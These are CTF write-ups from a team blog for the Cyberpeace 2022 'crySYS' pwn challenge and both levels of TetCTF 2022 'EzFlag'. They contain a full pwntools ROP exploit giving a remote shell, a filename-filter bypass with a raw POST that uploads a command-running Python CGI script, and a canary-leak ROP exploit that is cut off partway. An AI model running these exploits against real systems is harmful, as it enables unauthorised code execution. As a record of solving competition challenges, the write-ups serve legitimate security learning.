Nandy Narwhals CTF Team ▌

Cyberpeace 2022 - Crysys (Pwn)

2022-01-11T00:00:00+08:00

Summary: A minimal binary with only the read libc function and containing a standard stack overflow can be exploited by leveraging a common add-what-where gadget to adjust GOT entries. This removes the requirement for memory leaks. Additionally, the ret2dlresolve technique was investigated but exploitation requires a missing write-at-an-offset gadget.

Challenge Prompt

Attachment: challenge file

Solution

Extracting the zip file shows that we have the following files:

$ unzip -l cbd2d300-dc64-4aae-8d51-671a6d0e5b5f.zip
Archive:  cbd2d300-dc64-4aae-8d51-671a6d0e5b5f.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      276  10-16-2020 17:59   crySYS.c
     8272  10-16-2020 17:41   crySYS
   170960  10-16-2020 17:41   ld-2.27.so
  2030544  10-16-2020 17:41   libc-2.27.so
---------                     -------
  2210052                     4 files

The source to the challenge is given as follows.

#include <stdio.h>
#include <unistd.h>

//gcc -o challenge -no-pie -fno-stack-protector challenges.c
//LD_PRELOAD=./libc-2.27.so ./ld-2.27.so ./challenge

int not_vulnerable(){
	char buf[80];
    return read(0, buf, 0x1000);
}


int main(){
	not_vulnerable();
    return 0;
}

This actually looks like a rip-off of the ret2dlresolve sample in the Pwntools documentation. Unfortunately, we cannot use the technique in its original form since the binary uses huge pages.

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /vagrant/cyberpeace/crysys/crySYS
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /vagrant/cyberpeace/crysys/crySYS
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /vagrant/cyberpeace/crysys/crySYS
0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd3000 0x0000000000000000 rw-
0x00007ffff7dd3000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fea000 0x00007ffff7fec000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤

There is a way to exploit this scenario, however we need either a leak or a gadget to write at an offset to a dereferenced address. This is explored in this excellent author’s writeup for devnull-as-a-service from redpwnCTF 2021. However, the writeup also mentions an interesting well-known gadget that appears in GCC compiled binaries:

add dword ptr [rbp - 0x3d], ebx

This turns out to be present in crySYS as well.

$ ROPgadget --binary crySYS | grep '\[rbp -'
0x00000000004004c8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

Since this is an add-what-where primitive, we can use this to simply add an offset to the resolved read libc address in the GOT such that it points to a useful function such as system. Additionally, we can use a second stage with read to write an arbitrary string to execute in the .bss section. Putting this together yields the following script:

#!/usr/bin/env python

from pwn import *
from one_gadget import generate_one_gadget

# context.log_level = 'debug'
context.arch = 'amd64'

binary_path = "./crySYS"
libc_path = "./libc-2.27.so"
ld_path = "./ld-2.27.so"

# 0x00000000004004c8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
add_gadget = 0x00000000004004c8


def main():
    # Start the process/make the connection.
    # p = process([ld_path, binary_path], env={'LD_PRELOAD': libc_path})
    p = remote("152.96.7.6", 1337)

    # Calculate some useful values.
    libc_elf = ELF(libc_path)
    elf = ELF(binary_path)
    read_got = elf.got['read']
    libc_system = libc_elf.symbols['system']
    libc_read = libc_elf.symbols['read']
    log.info('system@libc: {}'.format(hex(libc_system)))
    log.info('read@libc: {}'.format(hex(libc_read)))
    system_offset = libc_system - libc_read
    log.info('system offset in libc from read: {}'.format(hex(system_offset)))
    system_offset = system_offset & 0xffffffffffffffff
    log.info('Twos complement of this offset: {}'.format(hex(system_offset)))

    # Determine a writable location.
    binsh_addr = elf.bss() + 0x10
    log.info('/bin/sh string Address: {}'.format(hex(binsh_addr)))

    # Construct the chain to use the add-what-where gadget and ret2csu to modify read@got to system.
    rop_chain = ROP(elf)
    # Read the address of read_got to the writable address we control to write the command.
    rop_chain.read(0, binsh_addr)
    # Setup the registers for the add-what-where. rbp has to account for the -0x3d
    rop_chain.ret2csu(edi=0xdeadbeef, rbx=system_offset, rbp=read_got + 0x3d)
    # Trigger the add-what-where to transform read@got to system.
    rop_chain.raw(add_gadget)
    # Fix up the aligning with a ret.
    rop_chain.raw(rop_chain.ret)
    # Call our system()
    rop_chain.read(binsh_addr)
    log.info(rop_chain.dump())

    # Send the first stage.
    log.info("Sending the first stage.")
    payload = flat({88: rop_chain.chain()}, filler=b'X')
    p.send(payload)

    # In the second stage, write the command we want to execute.
    # Using just /bin/sh alone seems to end in a segfault after the first command so let's get a
    # nicer shell.
    log.info("Sending the second stage.")
    command = b'/bin/sh -c "/bin/bash"\x00'
    p.send(command)

    # Obtain our shell.
    log.success("Enjoy your shell!")
    p.interactive()


if __name__ == '__main__':
    main()

Running the script gives us the flag.

$ python exploit.py
[+] Opening connection to 152.96.7.6 on port 1337: Done
[*] '/vagrant/cyberpeace/crysys/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/vagrant/cyberpeace/crysys/crySYS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] system@libc: 0x4f440
[*] read@libc: 0x110070
[*] system offset in libc from read: -0xc0c30
[*] Twos complement of this offset: 0xfffffffffff3f3d0
[*] /bin/sh string Address: 0x601040
[*] Loaded 14 cached gadgets for './crySYS'
[*] 0x0000:         0x400583 pop rdi; ret
    0x0008:              0x0 [arg0] rdi = 0
    0x0010:         0x400581 pop rsi; pop r15; ret
    0x0018:         0x601040 [arg1] rsi = 6295616
    0x0020:      b'iaaajaaa' <pad r15>
    0x0028:         0x4003f0 read
    0x0030:         0x40057a
    0x0038:              0x0
    0x0040:              0x1
    0x0048:         0x600e48
    0x0050:       0xdeadbeef
    0x0058:      b'waaaxaaa' rsi
    0x0060:      b'yaaazaab' rdx
    0x0068:         0x400560
    0x0070:      b'daabeaab' <add rsp, 8>
    0x0078: 0xfffffffffff3f3d0
    0x0080:         0x601055
    0x0088:      b'jaabkaab' r12
    0x0090:      b'laabmaab' r13
    0x0098:      b'naaboaab' r14
    0x00a0:      b'paabqaab' r15
    0x00a8:         0x4004c8
    0x00b0:         0x4003de ret
    0x00b8:         0x400583 pop rdi; ret
    0x00c0:         0x601040 [arg0] rdi = 6295616
    0x00c8:         0x4003f0 read
[*] Sending the first stage.
[*] Sending the second stage.
[+] Enjoy your shell!
[*] Switching to interactive mode
$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
$ uname -a
Linux 24ec36d4-ad5b-4eb5-8fcd-e00e61def718 3.10.0-1160.11.1.el7.x86_64 #1 SMP Fri Dec 18 16:34:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ ls -la
total 3144
drwxr-xr-x. 1 root root     185 Jan  4  2021 .
drwxr-xr-x. 1 root root      20 Jan  4  2021 ..
-rw-r--r--. 1 root root     220 Apr  4  2018 .bash_logout
-rw-r--r--. 1 root root    3771 Apr  4  2018 .bashrc
-rw-r--r--. 1 root root     807 Apr  4  2018 .profile
-rwxrwxr-x. 1 root root    8272 Oct 16  2020 crySYS
-rw-rw-r--. 1 root root     276 Oct 16  2020 crySYS.c
-rw-rw-r--. 1 root root  973583 Oct 16  2020 crysys.zip
-rw-rw-r--. 1 root root      39 Oct 16  2020 flag
-rwxrwxr-x. 1 root root  170960 Oct 16  2020 ld-2.27.so
-rw-rw-r--. 1 root root 2030544 Oct 16  2020 libc-2.27.so
-rwxrwxr-x. 1 root root     198 Oct 16  2020 run.sh
-rwxrwxr-x. 1 root root     100 Oct 16  2020 start.sh
$ cat flag
HL{PPPwned-7165-4679-8c39-cf7633bdf81b}$

Flag: HL{PPPwned-7165-4679-8c39-cf7633bdf81b}

TetCTF 2022 - EzFlag (Web/Pwn)

2022-01-03T00:00:00+08:00

Summary: In this two part challenge, flawed filename logic allows an attacker to write arbitrary Python files that are executed as a CGI script. Once the attacker obtains a shell on the system, they can exploit a straightforward buffer overflow in a forking statically compiled binary that authenticates basic authentication login attempts. Since the binary forks per connection, the stack canary can be leaked in one connection, and a ROP chain can be sent in the second with the fixed canary. Additionally, to simplify exploitation and avoid messing with file descriptor duping, a shell script can be created on the filesystem beforehand to be executed with the ROP chain to run our arbitrary commands.

Challenge Prompt

Part 1:

47 Solves
Ezflag level 1
100 Points
We found an internal storage system exposed to the internet. By ambushing one of the employee, we got some files and the credentials of the system: "admin:admin". Unfortunately, our agent was poisoned and cannot continue hacking. Can you help us?
Service: http://18.220.157.154:9090/
or
Service: http://3.22.71.49:9080/
Binary
Author: @nyancat0131

Attachment: challenge file

Part 2:

20 Solves
Ezflag level 2
639
Solved Level 1 first!
Service: http://18.220.157.154:9090/
or
Service: http://3.22.71.49:9080/
Author: @nyancat0131

Solution

Part 1

Unpacking the tar file provided yields the following web application deployment files:

$ tar xvf ezflag_109ff451f9d11258d01594c77aae131c.tar.gz
x ezflag/conf/
x ezflag/conf/lighttpd.conf
x ezflag/conf/nginx-site.conf
x ezflag/www/
x ezflag/www/html/
x ezflag/www/cgi-bin/
x ezflag/www/upload/
x ezflag/www/upload/shell.py
x ezflag/www/cgi-bin/upload.py
x ezflag/www/html/upload.html

The upload.py file implements the main web application logic through CGI. Breaking it up, we have the main function that performs basic authentication check and if it passes, dispatches to the right handler.

#!/usr/bin/env python3

import os
import cgi
import base64
import socket

def write_header(key, value) -> None:
    print('{:s}: {:s}'.format(key, value))

def write_status(code, msg) -> None:
    print('Status: {:d} {:s}'.format(code, msg), end='\n\n')

def write_location(url) -> None:
    print('Location: {:s}'.format(url), end='\n\n')

...

if __name__ == '__main__':
    if not check_auth():
        write_header('WWW-Authenticate', 'Basic')
        write_status(401, 'Unauthorized')
    else:
        method = os.environ.get('REQUEST_METHOD')
        if method == 'POST':
            handle_post()
        elif method == 'GET':
            handle_get()
        else:
            write_status(405, 'Method Not Allowed')

The basic authentication check parses the header and then forwards the username and password as newline terminated strings to a server listening on port 4444 on the remote localhost. It checks if the first byte sent back is a 'Y'. We are given the username and password of admin:admin so we’ll just use these credentials for now.

def check_auth() -> bool:
    auth = os.environ.get('HTTP_AUTHORIZATION')
    if auth is None or len(auth) < 6 or auth[0:6] != 'Basic ':
        return False
    auth = auth[6:]
    try:
        data = base64.b64decode(auth.strip().encode('ascii')).split(b':')
        if len(data) != 2:
            return False
        username = data[0]
        password = data[1]
        if len(username) > 8 or len(password) > 16:
            return False
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('127.0.0.1', 4444))
        s.settimeout(5)
        s.send(username + b'\n' + password + b'\n')
        result = s.recv(1)
        s.close()
        if result == b'Y':
            return True
        return False
    except:
        return False

The GET handler is simple, it just prints the contents of an upload.html HTML file in the response.

def handle_get() -> None:
    with open('../html/upload.html', 'rb') as f:
        dat = f.read()

    write_header('Content-Type', 'text/html')
    write_header('Content-Length', str(len(dat)))
    write_status(200, 'OK')
    print(dat.decode('utf-8'), end=None)

The POST handler is more interesting. It allows for the writing of an arbitrary file to an upload directory with some constraints on the filename. It checks for the existence of .. or .py in the filename and rejects it if found. Additionally, it also ‘normalises’ the filename by removing all occurrences of './'.

def valid_file_name(name) -> bool:
    if len(name) == 0 or name[0] == '/':
        return False
    if '..' in name:
        return False
    if '.py' in name:
        return False
    return True

def handle_post() -> None:
    fs = cgi.FieldStorage()
    item = fs['file']
    if not item.file:
        write_status(400, 'Bad Request')
        return
    if not valid_file_name(item.filename):
        write_status(400, 'Bad Request')
        return
    normalized_name = item.filename.strip().replace('./', '')
    path = ''.join(normalized_name.split('/')[:-1])
    os.makedirs('../upload/' + path, exist_ok=True)
    with open('../upload/' + normalized_name, 'wb') as f:
        f.write(item.file.read())
    write_location('/uploads/' + normalized_name)

Assuming we want to be able to write .py files, we can abuse the normalisation process to transform the filename to one that ends with .py after the check occurs. For example:

In [486]: name = "attack.p./y"
     ...: assert ".py" not in name
     ...: normalized_name = name.strip().replace('./', '')
     ...: assert ".py" in normalized_name
     ...: print(normalized_name)
attack.py

If we look in nginx-site.conf, we can see that the /upload/ directory that we can upload files to is mapped to the /uploads/ path on the web server.

server {
    listen 80;
    listen [::]:80;

    location / {
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $remote_addr;
        proxy_pass http://127.0.0.1:8080/cgi-bin/upload.py;
    }

    location /uploads/ {
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $remote_addr;
        proxy_pass http://127.0.0.1:8080/uploads/;
    }
}

Within the lighttpd.conf configuration file, we can see that .py files are executed with the /usr/bin/python3 interpreter with CGI. Thus, if we write a .py file, we can simply visit the path and it should execute our arbitrary code.

...
alias.url += ( "/cgi-bin" => "/var/www/cgi-bin" )
alias.url += ( "/uploads" => "/var/www/upload" )
cgi.assign = ( ".py" => "/usr/bin/python3" )

Putting this together, we can create our exploit python script on the server with the following POST request, including the admin:admin basic authentication header.

POST / HTTP/1.1
Host: 18.191.117.63:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27015668151794350363716216349
Content-Length: 315
Origin: http://18.191.117.63:9090
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://18.191.117.63:9090/
Upgrade-Insecure-Requests: 1

-----------------------------27015668151794350363716216349
Content-Disposition: form-data; name="file"; filename="amon_34123.p./y"
Content-Type: application/octet-stream

#!/usr/bin/env python3

import os
print(os.system("ls -la /;cat /flag"))

-----------------------------27015668151794350363716216349--

Next, to trigger the script, we just simply visit the /uploads/amon_34123.py script path.

GET /uploads/amon_34123.py HTTP/1.1
Host: 18.191.117.63:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1

In the response, we can see that the flag as well as some other interesting file such as flag2 and auth are located at the / path. We also obtain our first flag.

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 01 Jan 2022 06:58:00 GMT
Content-Length: 1636
Connection: close

total 864
drwxr-xr-x   1 root   root     4096 Jan  1 00:06 .
drwxr-xr-x   1 root   root     4096 Jan  1 00:06 ..
-rwxr-xr-x   1 root   root        0 Jan  1 00:06 .dockerenv
-r-xr--r--   1 daemon daemon 802768 Dec 31 22:39 auth
lrwxrwxrwx   1 root   root        7 Oct  6 16:47 bin -> usr/bin
drwxr-xr-x   2 root   root     4096 Apr 15  2020 boot
drwxr-xr-x   5 root   root      340 Jan  1 03:44 dev
drwxr-xr-x   1 root   root     4096 Jan  1 00:06 etc
-r--r--r--   1 root   root       41 Jan  1 00:03 flag
-r--------   1 daemon daemon     41 Jan  1 00:03 flag2
drwxr-xr-x   2 root   root     4096 Apr 15  2020 home
lrwxrwxrwx   1 root   root        7 Oct  6 16:47 lib -> usr/lib
lrwxrwxrwx   1 root   root        9 Oct  6 16:47 lib32 -> usr/lib32
lrwxrwxrwx   1 root   root        9 Oct  6 16:47 lib64 -> usr/lib64
lrwxrwxrwx   1 root   root       10 Oct  6 16:47 libx32 -> usr/libx32
drwxr-xr-x   2 root   root     4096 Oct  6 16:47 media
drwxr-xr-x   2 root   root     4096 Oct  6 16:47 mnt
drwxr-xr-x   2 root   root     4096 Oct  6 16:47 opt
dr-xr-xr-x 995 root   root        0 Jan  1 03:44 proc
drwx------   1 root   root     4096 Jan  1 03:40 root
drwxr-xr-x   1 root   root     4096 Jan  1 00:06 run
-rwxr-xr-x   1   1000   1000    189 Dec 31 15:29 run.sh
lrwxrwxrwx   1 root   root        8 Oct  6 16:47 sbin -> usr/sbin
drwxr-xr-x   2 root   root     4096 Oct  6 16:47 srv
dr-xr-xr-x  13 root   root        0 Jan  1 03:44 sys
drwxrwxrwt   1 root   root     4096 Jan  1 06:57 tmp
drwxr-xr-x   1 root   root     4096 Jan  1 00:05 usr
drwxr-xr-x   1 root   root     4096 Jan  1 00:05 var
TetCTF{65e95f4eacc1fe7010616e051f1c610a}
0

Flag: TetCTF{65e95f4eacc1fe7010616e051f1c610a}

Part 2

Note: Unfortunately, I didn’t solve this during the few hours I played during the competition since the auth server was crashed by some other players early during the CTF. However, I think the exploit should work remotely barring the pwntools dependency.

Once on the server, we can exfiltrate the auth binary that’s listening on port 4444 of the remote server.

Attachment: auth

To simulate the remote service, we can create a flag at /flag2.

# echo 'TetCTF{Fake_Flag_Because_Service_Is_Down}' > /flag2

When running and interacting with the service, we notice that something odd is going on with the output. It looks like it’s leaking 0x100 bytes of memory along with the 'Y or 'N' return code.

$ printf 'admin\nadmin\n' | nc localhost 4444 | xxd
00000000: 5964 6d69 6e0a 6164 6d69 6e0a ff80 5b9a  Ydmin.admin...[.
00000010: a011 b945 fc7f 0000 2497 0000 0000 0000  ...E....$.......
00000020: 0300 0000 0000 0000 a011 b945 fc7f 0000  ...........E....
00000030: 8c11 b945 fc7f 0000 8860 4900 0000 0000  ...E.....`I.....
00000040: b400 0000 0000 0000 88c6 4400 0000 0000  ..........D.....
00000050: 2000 0000 3000 0000 8011 b945 fc7f 0000   ...0......E....
00000060: c010 b945 fc7f 0000 0031 2918 ff80 5b9a  ...E.....1)...[.
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 4898 3202 0000 0000 2497 0000 0000 0000  H.2.....$.......
00000090: 249c 4900 0000 0000 f00f b945 fc7f 0000  $.I........E....
000000a0: 802b 4c00 0000 0000 0a00 0000 0000 0000  .+L.............
000000b0: 2013 4c00 0000 0000 7260 4900 0000 0000   .L.....r`I.....
000000c0: 402f 4c00 0000 0000 1810 4c00 0000 0000  @/L.......L.....
000000d0: 0000 0000 0000 0000 036d 4100 0000 0000  .........mA.....
000000e0: 1000 0000 0000 0000 2013 4c00 0000 0000  ........ .L.....
000000f0: 2497 0000 0000 0000 0000 0000 0000 0000  $...............

If we send a large amount of data, we get a stack smashing detected message so it appears that we can trigger a buffer overflow. Next, we need to determine if we can use the info leak to leak the stack canary.

$ printf 'admin\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' | nc localhost 4444 | xxd
...
Connection accepted from 127.0.0.1:38694
*** stack smashing detected ***: terminated

If we try to send the smallest input possible that triggers the memory leak, we can see that there is a canary-looking value at offset 0x8 and 0x68 (0x9a5b80ff18293100). This value should not change between requests since the server forks and retains the parent’s memory layout and contents.

$ printf '\n\n' | nc localhost 4444 | xxd -g 8 -e
00000000: 3630373833000a4e 9a5b80ff18293100  N..38706.1)...[.
00000010: 00007ffc45b911a0 0000000000009732  ...E....2.......
00000020: 0000000000000003 00007ffc45b911a0  ...........E....
00000030: 00007ffc45b9118c 0000000000496088  ...E.....`I.....
00000040: 00000000000000bb 000000000044c688  ..........D.....
00000050: 0000003000000020 00007ffc45b91180   ...0......E....
00000060: 00007ffc45b910c0 9a5b80ff18293100  ...E.....1)...[.
00000070: 0000000000000000 0000000000000000  ................
00000080: 0000000002329848 0000000000009732  H.2.....2.......
00000090: 0000000000499c24 00007ffc45b90ff0  $.I........E....
000000a0: 00000000004c2b80 000000000000000a  .+L.............
000000b0: 00000000004c1320 0000000000496072   .L.....r`I.....
000000c0: 00000000004c2f40 00000000004c1018  @/L.......L.....
000000d0: 0000000000000000 0000000000416d03  .........mA.....
000000e0: 0000000000000010 00000000004c1320  ........ .L.....
000000f0: 0000000000009732 0000000000000000  2...............

The vulnerable code and stack smashing check appears in this function:

If we do a quick check in the debugger, we can confirm that the value is indeed the stack canary.

Thread 2.1 "auth" hit Breakpoint 1, 0x0000000000401f85 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
...
$rsi   : 0x9a5b80ff18293100
...
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0063 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc45b91010│+0x0000: 0x0000000000000001	 ← $rsp
0x00007ffc45b91018│+0x0008: 0x000003e800002190
0x00007ffc45b91020│+0x0010: 0x0000000000000000	 ← $rdx
0x00007ffc45b91028│+0x0018: 0x0000000000008801
0x00007ffc45b91030│+0x0020: 0x0000000000000000
0x00007ffc45b91038│+0x0028: 0x9a5b80ff18293100
0x00007ffc45b91040│+0x0030: 0x0000000000000000
0x00007ffc45b91048│+0x0038: 0x000000000040200d  →   mov edx, 0x100
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401f7c                  je     0x401f98
     0x401f7e                  xor    eax, eax
     0x401f80                  mov    rsi, QWORD PTR [rsp+0x28]
●→   0x401f85                  xor    rsi, QWORD PTR fs:0x28
     0x401f8e                  jne    0x401fc0
     0x401f90                  add    rsp, 0x38
     0x401f94                  ret
     0x401f95                  nop    DWORD PTR [rax]
     0x401f98                  cmp    WORD PTR [rsp+0xb], 0x6e
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "auth", stopped 0x401f85 in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401f85 → xor rsi, QWORD PTR fs:0x28
[#1] 0x40200d → mov edx, 0x100
[#2] 0x4018ab → mov edi, ebp
[#3] 0x402860 → mov edi, eax
[#4] 0x401dde → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

Next, we need to find the offset of the canary. First, we send a de Brujin sequence and wait for the same breakpoint as before to trigger.

$ printf '\naaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n' | nc localhost 4444

In the debugger, we can see that the stack canary is at offset 24.

gef➤  info reg $rsi
rsi            0x6161616161616164	0x6161616161616164
gef➤  pattern offset 0x6161616161616164
[+] Searching for '0x6161616161616164'
[+] Found at offset 24 (little-endian search) likely
[+] Found at offset 17 (big-endian search)
gef➤

Repeating this step and fixing the canary also yields the saved return pointer at offset 40. Now, we can craft the ROP payload. A useful configuration of the registers at the point of the controlled return is the contents of the rdi register. It appears to be pointing into the buffer of our user controlled data. We can abuse this in crafting a shorter ROP chain.

gef➤
0x0000000000401f94 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x9606
$rcx   : 0x00007ffc45b9107e  →  0x7ffc45b9118c0a0a
$rdx   : 0x00007ffc45b91048  →  0x0000000000402000  →   call 0x44c430
$rsp   : 0x00007ffc45b91048  →  0x0000000000402000  →   call 0x44c430
$rbp   : 0x29
$rsi   : 0x0
$rdi   : 0x00007ffc45b91055  →  "\nadminAAAAAAAAAAAAAAAAAAA"
$rip   : 0x0000000000401f94  →   ret
$r8    : 0x0
$r9    : 0x0
$r10   : 0x0
$r11   : 0x246
$r12   : 0x00007ffc45b91050  →  "admin\nadminAAAAAAAAAAAAAAAAAAA"
$r13   : 0x00007ffc45b911a0  →  0x0100007f06960002
$r14   : 0x00007ffc45b9118c  →  0x5c11000200000010
$r15   : 0x0000000000496088  →  "Connection accepted from %s:%d\n"
$eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0063 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc45b91048│+0x0000: 0x0000000000402000  →   call 0x44c430	 ← $rdx, $rsp
0x00007ffc45b91050│+0x0008: "admin\nadminAAAAAAAAAAAAAAAAAAA"	 ← $r12
0x00007ffc45b91058│+0x0010: "minAAAAAAAAAAAAAAAAAAA"
0x00007ffc45b91060│+0x0018: "AAAAAAAAAAAAAA"
0x00007ffc45b91068│+0x0020: 0x3100414141414141 ("AAAAAA"?)
0x00007ffc45b91070│+0x0028: 0x42429a5b80ff1829
0x00007ffc45b91078│+0x0030: 0x0a0a424242424242
0x00007ffc45b91080│+0x0038: 0x00007ffc45b9118c  →  0x5c11000200000010
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
●    0x401f85                  xor    rsi, QWORD PTR fs:0x28
     0x401f8e                  jne    0x401fc0
     0x401f90                  add    rsp, 0x38
 →   0x401f94                  ret
   ↳    0x402000                  call   0x44c430
        0x402005                  mov    rdi, r12
        0x402008                  call   0x401f10
        0x40200d                  mov    edx, 0x100
        0x402012                  mov    rsi, r12
        0x402015                  mov    edi, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "auth", stopped 0x401f94 in ?? (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401f94 → ret
[#1] 0x402000 → call 0x44c430
[#2] 0x4018ab → mov edi, ebp
[#3] 0x402860 → mov edi, eax
[#4] 0x401dde → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

When crafting the exploit, we also have to fix up the stack a bit as it is slightly off alignment, hence we have to look for a stack move gadget. Once the stack is fixed up, we can craft an syscall(execve, "our controlled buffer in rdi", 0, 0) ROP chain to run a program. The obvious data to place in the controlled buffer is /bin/sh but an interactive shell is a little annoying to deal with since we don’t have control over stdin and stdout yet over the network connection. Since we have shell access already on the remote system, we can just create a helper shell script to execute instead that copies /flag2 to a temporary location and changes it to be world-readable. We’ll name this file /tmp/give.

$ printf '#!/bin/bash\ncp /flag2 /tmp/flag2;chmod 777 /tmp/flag2' > /tmp/give; chmod +x /tmp/give

Now, we can write the full exploit to trigger the execve of this shell script:

#!/usr/bin/env python

from pwn import *


context.clear()
context.arch = 'amd64'
# context.log_level = 'debug'

# Make a shell script executable.
# printf '#!/bin/bash\ncp /flag2 /tmp/flag2;chmod 777 /tmp/flag2' > /tmp/give; chmod +x /tmp/give


def main():
    # Generate the ROP chains.
    # First, generate the chain to fix up the stack.
    rop = ROP('./auth', badchars=b'\n')
    rop.raw(rop.search(move=68).address)
    log.info("Constructed ROP payload to fix stack: \n{}".format(rop.dump()))
    stack_rop_payload = flat(rop.build())
    log.info("Length of ROP fix stack payload: {}".format(hex(len(stack_rop_payload))))

    # Next, generate the ROP chain to call execve.
    # RDI contains the address of a couple bytes into the buffer, which is perfect.
    # We want to execute syscall(execve, n_bytes_into_buffer, 0, 0)
    rop = ROP('./auth', badchars=b'\n')
    rop(rax=constants.SYS_execve, rsi=0, rdx=0)
    rop.raw(rop.syscall.address)
    # Finally, we can JMP RSP to our shellcode.
    #rop.raw(rop.jmp_rsp.address)
    log.info("Constructed ROP payload: \n{}".format(rop.dump()))
    rop_payload = flat(rop.build())
    # from IPython import embed; embed()
    log.info("Length of ROP payload: {}".format(hex(len(rop_payload))))

    # Leak the canary with a short write to expose the canary at buffer + 8.
    p = remote('localhost', 4444)
    canary_payload = b'\n\n'
    p.send(canary_payload)
    p.recv(8)
    canary = u64(p.recv(8))
    log.info('Canary: {}'.format(hex(canary)))
    p.close()

    # Trigger the overflow.
    p = remote('localhost', 4444)
    # Fix the canary.
    payload = b'\n' + b'A'* 24 + p64(canary) + b'B'*8
    # ROP Chain.
    payload += stack_rop_payload
    # This is the start of the n bytes into the buffer we referenced above.
    # We specify /tmp/give as the program to execute since it's simpler than attempting to mess with
